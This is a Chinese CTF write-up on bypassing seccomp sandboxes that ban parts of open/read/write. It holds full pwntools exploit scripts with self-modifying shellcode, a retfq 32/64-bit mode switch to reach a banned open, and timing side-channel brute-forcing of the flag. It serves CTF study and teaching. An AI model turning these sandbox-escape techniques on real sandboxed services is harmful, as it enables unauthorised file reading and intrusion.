orw_incomplete(不完整的ORW)

标准orw就是read,open,write,但是可能有时候其中的r,o,w也会被禁用

OR 缺 W

例:2021-蓝帽杯初赛-slient

1

2

这里需要root权限才能检查sandbox,普通权限无法检查

只允许read,open,没有write

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

/* 2. DESCRIPTION
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of
the mapping (which must be greater than 0).

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.
......
*/

利用 mmap 函数在 0x10000 处开辟一个 page 的空间, 往 &buf 中读入 0x40 字节数据, 然后执行这段数据

on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。

通过命令cat /proc/sys/vm/mmap_min_addr 可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间

直接gdb调试也可以看到:

4

没有打印出flag,因此想到是爆破比对。首先同样是利用open/read将flag读取到固定内存位置,然后利用cmp指令在可见字符范围内([0x20, 0x7E])进行比对,如果相同则进入死循环,通过recv超时来判断是否成功,否则程序执行0x60的系统调用然后退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *



context(os="linux", arch="amd64")

map_addr = 0x10000
flag_addr = 0x10100


def cmp_flag_by_byte(p, offset, ch):
p.recvuntil("Welcome to silent execution-box.\n")
code = asm(
"""
push 0x67616c66
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
xor eax, eax
push 3
pop rdi
push 0x50
pop rdx
mov rsi, 0x10100
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl, dl
jz loop
xor edi, edi
push SYS_exit
pop rax
syscall
loop:
jmp loop
""".format(offset, ch)
)

p.send(code)


def pwn():
flag = ""
for offset in range(0x20):
for ch in range(0x20, 0x7E+1):
p = process("./chall")
try:
cmp_flag_by_byte(p, offset, ch)
p.recv(timeout=1)
flag += chr(ch)
print("find one byte in flag :", flag)
p.close()
break
except:
p.close()

print("all done: flag is ==>"+flag)


if __name__ == "__main__":
pwn()

RW缺O

参考:shellcode 的艺术 - 先知社区 (aliyun.com)

禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')

p.recvuntil("shellcode: ")
append_x86 = '''
push ebx
pop ebx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''


shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49

'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70

'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))
# pause()
#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()

R缺OW

例题: 2021-强网杯-初赛-shellcode

上述两者的融合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#coding:utf-8
from pwn import *
import time

# context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

def pwn(p, index, ch):
shellcode = ''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
#print hex(len(shellcode))

p.sendline(shellcode)
time.sleep(0.05)

shellcode_flag ="""
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)

flag = ""
index = 0
last = 'a'
while True:
update = False
for ch in range(32,127):
sh = process("./shellcode")
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)